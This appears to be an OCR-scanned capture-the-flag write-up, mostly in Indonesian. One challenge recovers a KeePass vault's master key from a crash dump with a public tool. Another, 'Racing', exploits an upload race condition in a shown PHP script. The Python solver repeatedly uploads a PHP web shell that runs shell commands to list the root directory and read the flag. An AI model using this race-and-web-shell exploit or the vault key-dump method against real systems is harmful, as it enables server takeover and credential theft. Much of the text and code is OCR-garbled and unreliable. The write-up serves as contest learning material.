VERSION="12 (bookworm)"

Recipe ~ O3B E mnpun + O3 0 =

|61852119811@f7f372b275( 2desef14167fa5534e4fed301cealave2de946414921173deeocot4722710as5c2des|

~ n
From Hex ® 8f2a0b415c537f4a071d0362670601324543522d163d110816493 2782497 596d46195d3b

Delimiter
Auto

e 166 = 1 Tr Raw Bytes & LF|

Output % | rD £ I

cBD{apa_persamaan_tango_sama docker_ image? sama_sama_berlapis lapis xixixi_feec3a}

XOR ~Qn

Key Scheme
"Debian GNU/Lin.. UTF8~ Standard

[] Null preserving
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[BONUS] LockSpill

Flag: CBD{wh4t_15_Th1s_V4ult_nljlk4a_k3ePpass_8h17d1}

Deskripsi

A sudden system crash at company left behind a password vault and a memory dump
captured at the exact moment of failure.

Rumors say the vault holds fragments of a secret project, Company denies everything, but
whispers from inside suggest the truth is hidden somewhere.

Link: https://drive.google.com/file/d/1E9eImmoVHLIgzIOCSH6AlgMnx4ASgZB9b/view

Password:
281¢c1f564590c107b96dctfdb9da7b91d053e07bfdf10890781a6401dd221b60b

Author: Rin4th

Informasi Terkait Soal

@ lock.kdbx

> file dump.dmp

dump.dmp: Mini DuMP crash report, 17 streams, Wed Aug 13 22:18:28 2025, 0x621826 type

ss password database 2.x KDBX

Pendekatan & Solusi

Disclaimer buat chall ini saya telat solve 2 menit jadi tidak submit flag. Intinya habis extract
saya langsung coba google dorking dan ketemu writeup tentang kdbx2 yang ada CVEnya:
https://medium.com/@cyberviperx/keeper-dcfced7acf7c, dan dari situ terdapat tool
https://github.com/matro7sh/keepass-dump-masterkey.

ss-dump-mast c.py -d dump.dmp

dump . dmp
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O lock kdbx - KeePass

File Group Entry Find VYiew Tools

Hod <L a¥e 9% QAF-|

Help

% Homebanking
@ Recycle Bin

Title

/2 Sample Entry
/7 Sample Entr...
47 CorpMail A...

/7 VPN Gateway
/7 GitHub Ente...
#7 Database A...
7 Ops Intel // ...

User Name
User Name
Michael321

http://keepass....
http://keepass....

vpnuser
devops
dbadmin

Notes
Notes

corpadmin@cbd.local
VPN access for remote work. Server: vpn.cbd.local
Repo access: https://git.cbd.local
MySQL admin: mysql.cbd.local:3306
istory is the foundation of a bright future,...
CBD{do_you_think_this_is_flag} OF COURSE NOT

Group: CBD S1. Title: Ops Intel // Project Helix. Password: ****=** Creation Time: 14/08/2025 05:10:23. Last Modification Time: 14/08/2025 05:12:24.

tory is the foundation of a bright future, and something you throw to trash is something precious for someone else

O lock kdbx - KeePass

le Group Entry nd View Tools Help

Q Network

@ Internet

= eMail

% Homebanking
D Recyele Bin

Title
7 R&D Scrap ...

User Name

Notes
Part 2 58: B3eXWB4yupKPYUde 1VhvrBDsq91jRY2it

\Group: Recycle Bin. Title: R&D Scrap // Archive. Password: ****==** Creation Time: 14/08/2025 05:12:34. Last Modification Time: 14/08/2025 05:13:02.

Part 2 58: B3eXWB4yupKPYUde 1VhvrBDsq91jRY2tt

@ lockkdbx - KeePass

File Group Entry Find View Tools
Hed¢-aUe-afaF
\«b CBD ST

o General

) Windows

7 Network

9 Internet

= eMail

@ Homebanking

@ Recycle Bin

Help

Title
2 sample Entry

User Name Password

e

URL
http://keepass...
hitp://keepass...

Notes

User Name Notes

View Entry (Read-Only)

¢

‘ou are viewing an entry.

General Advanced Properties Auto-Type History
Tite: Ops Intel // Project Helix
Username:

Password:

Repeat

Quality:

URL:

Notes: [Part158:2PaEBNQUXSZ56XVhRCTE 1icbSXTVCLe

[17/08/2025 00:00.00 [ ]

() Expires:

Group: CBD 51. Title: Ops Intel // Project Helix. Password: **+**+. Creation Time: 14/08/2

wise man said, history is the foundation of a bright future, and something you throw to trash is something precious for someone else
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Hasil

Input

Input
2PaEBnQIx9756XrvhRCTE1tchSX1VCLe B3eXWBAyupKPYUdelVhvrBDsq91jRY2tt

mc 33 = 1 @ 33

Output

CBD{wh4t_15_Thls_VAult_ nljlkaa_k3ePpass 8h17d1}
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WEB

Racing

Flag: CBD{nOt_f@5t_EnOugH_to_50Lv3_Th15_Ch4lL_Nilj1k44}

Deskripsi
Author: Rin4th

http://racing.serv2.cbd2025.cloud/

Informasi Terkait Soal

upload.php

<?php

if (isset (S _POST["submit"])) {

if (!isset (S FILES['imageFile']) || $ FILES['imageFile']['error']
!== UPLOAD ERR OK) {

switch ($ FILES['imageFile']['error'] ?? UPLOAD ERR NO FILE)

case UPLOAD ERR INI SIZE:
case UPLOAD ERR FORM SIZE:
Smessage = "Error: The uploaded file exceeds the 1MB
size limit.";
break;
case UPLOAD ERR NO FILE:
Smessage = "Error: No file was selected for upload.";
break;
default:
Smessage = "Error: A server-side error occurred
during upload.";
}
header ("Location: index.php?message=" . urlencode (Smessage)) ;

exit (),

SuploadDir = "uploads/";

$fileName = basename ($ FILES["imageFile"] ["name"]) ;

SuploadPath = SuploadDir . $fileName;
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SfileType = strtolower (pathinfo (SuploadPath,
PATHINFO EXTENSION)) ;
SchecksumPath = SuploadPath . '.txt';

if (move uploaded file($ FILES["imageFile"] ["tmp name"],
SuploadPath)) {

SescapedPath = escapeshellarg (SuploadPath) ;
$rulesPath = '/etc/yara/rules/virus rules.yar';
Scommand = "yara " . S$rulesPath . " " . SescapedPath;

exec ($command, Soutput, S$returnCode) ;

$content = file get contents(SuploadPath) ;
Shash = hash ('sha256', $content):;

SisImage = getimagesize (SuploadPath) ;
SallowedTypes = array('jpg', 'jpeg', 'png');

if (($isImage === false || !in array($fileType,
SallowedTypes)) && !SoutputCode[0]) {
unlink ($SuploadPath) ;
Smessage = "Error: Invalid file type.";
} else{
file put contents (SchecksumPath, Shash);

Smessage = "Success: File uploaded.";

} else {
Smessage = "Error: There was a problem with the upload.";
}
header ("Location: index.php?message=" . urlencode (Smessage)) ;
exit () ;
} else {
header ("Location: index.php")

exit () ;
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Pendekatan

Intinya dari timeframe upload, move, ke unlink misal ngetrigger rule itu ada window yang
cukup buat sebuah race condition (ini juga di hint dari nama challnya sih, Racing). Karena
tidak ada pengecekan/validasi file yang diupload sebelum move, dan validasinya adanya
setelah move yang dimana file dicek pakai yara rule, kita jadinya bisa upload apapun. Dari
situ kita bisa buat payload php buat cari flag, bikin banyak request pakai multithreading
buat access hasil upload biar dapet. Kebetulan habis coba s -la / flagnya yaitu flag.txt dan
di root.

Solusi

solver.py

from concurrent.futures import ThreadPoolExecutor

import requests, threading, time, sys

payload = """<?php
echo "found\n";
system("ls -la /");
echo "\n";

system ("cat /flag* 2>/dev/null");

2> nnn

host = "https://racing.serv2.cbd2025.cloud"
upload = f"{host}/upload.php"
sess = requests.session ()

found = threading.Event ()

def upload file(filename) :
files = {'imageFile': (filename, payload, 'image/jpeg') }
data = {'submit': 'Upload'}

sess.post (upload, files=files, data=data, timeout=5,

allow redirects=False)

def access file(filename) :
file url = f"{host}/uploads/{filename}"
response = sess.get(file url, timeout=l)
if response.status code == 200 and "found" in response.text:
print ("success~")
print (response.text.strip())

return True
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def upload worker (filename) :
while not found.is set():
upload file(filename)

time.sleep (0.02)

def access worker (filename) :
while not found.is set():
if access file(filename) :
found.set ()
time.sleep (0.001)

def main () :
filename = f"shell {int(time.time()) }.php"

num_ threads = 25
uploader = threading.Thread (target=upload worker,
args=(filename, ), daemon=True)

uploader.start ()

with ThreadPoolExecutor (max workers=num threads)

for in range (num_threads) :

executor.submit (access worker, filename)

success = found.wait (timeout=20)
if not success:

print ("gg bo")

as executor:
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4096
4096
0 17
12
12
17
17

[ Y

.doc -
bin -> usr/bin
boot
dev
etc
16 flag.txt
12 home
12 :25 1ib -> usr/lib
12 25 1ib64 -> usr/1ibé4
4@96 11 00:00 media
4096 11 00:00 mnt
' 11 00:00 opt
17 08 proc
11 60: root
4096 12 22:27 run
8 12 :25 sbin -> usr/sbin
4(96 11 00:00 srv
0 17 06:44 sys
17 16:27 tmp
11 00:00 usr
12 22:26 var

[

W MR
[ S N N I I [ S T N NS

XTWXIWX
Lrwxrwxrwx
drwxr-xr-x

XI'—-X

T N ST S TS

drwxrwxrwt
drwxr-xr-x
drwxr-xr-x

(=Y
(S PN S Ny

CBD{n0t_fa5t_En@ugH_to 5oLv3_Th15 Ch4lL_Niljlks&s}

> eter ~/../cbd-25/web
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